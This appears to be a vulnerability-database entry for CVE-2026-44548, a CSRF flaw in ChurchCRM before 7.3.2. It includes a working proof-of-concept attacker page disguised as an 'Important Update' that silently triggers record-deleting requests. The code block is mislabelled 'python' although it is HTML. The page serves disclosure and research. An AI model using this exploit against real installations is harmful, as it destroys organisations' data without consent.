CVE-2026-44548

Description

ChurchCRM is an open-source church management system. Prior to 7.3.2, top-level cross-site GET navigation from an attacker-controlled page to FundRaiserDelete.php, PropertyTypeDelete.php, or NoteDelete.php causes a logged-in ChurchCRM user with the relevant role to silently delete records, including cascaded property and record-to-property assignments. This vulnerability is fixed in 7.3.2.

CVSS Details

CVSS Score

8.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H

Configurations (Affected Products)

No configuration data available.

ChurchCRM < 7.3.2

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- PoC for CVE-2026-44548 -->
<!-- Attacker_page.html -->
<!DOCTYPE html>
<html>
<head>
    <title>Important Update</title>
</head>
<body>
    <h1>Please wait while we redirect you...</h1>
    <!-- Silent deletion attempt using image tag to trigger GET request -->
    <img src="http://victim-churchcrm-url.com/FundRaiserDelete.php?id=1" style="display:none;" onerror="console.log('Request sent');">
    
    <!-- Alternatively using JavaScript for more reliable execution -->
    <script>
        function exploit() {
            var targets = [
                'FundRaiserDelete.php?id=1',
                'PropertyTypeDelete.php?id=1',
                'NoteDelete.php?id=1'
            ];
            targets.forEach(function(path) {
                fetch('http://victim-churchcrm-url.com/' + path, {
                    method: 'GET',
                    credentials: 'include' // Sends cookies
                }).catch(e => console.log(e));
            });
        }
        window.onload = exploit;
    </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-44548
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-44548
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-44548/
[4] VulDB https://vuldb.com/cve/CVE-2026-44548
[5] https://github.com/ChurchCRM/CRM/security/advisories/GHSA-jx5r-p82p-2p8m

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-44548", "sourceIdentifier": "[email protected]", "published": "2026-05-12T23:16:18.750", "lastModified": "2026-05-12T23:16:18.750", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "ChurchCRM is an open-source church management system. Prior to 7.3.2, top-level cross-site GET navigation from an attacker-controlled page to FundRaiserDelete.php, PropertyTypeDelete.php, or NoteDelete.php causes a logged-in ChurchCRM user with the relevant role to silently delete records, including cascaded property and record-to-property assignments. This vulnerability is fixed in 7.3.2."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-352"}, {"lang": "en", "value": "CWE-650"}]}], "references": [{"url": "https://github.com/ChurchCRM/CRM/security/advisories/GHSA-jx5r-p82p-2p8m", "source": "[email protected]"}]}}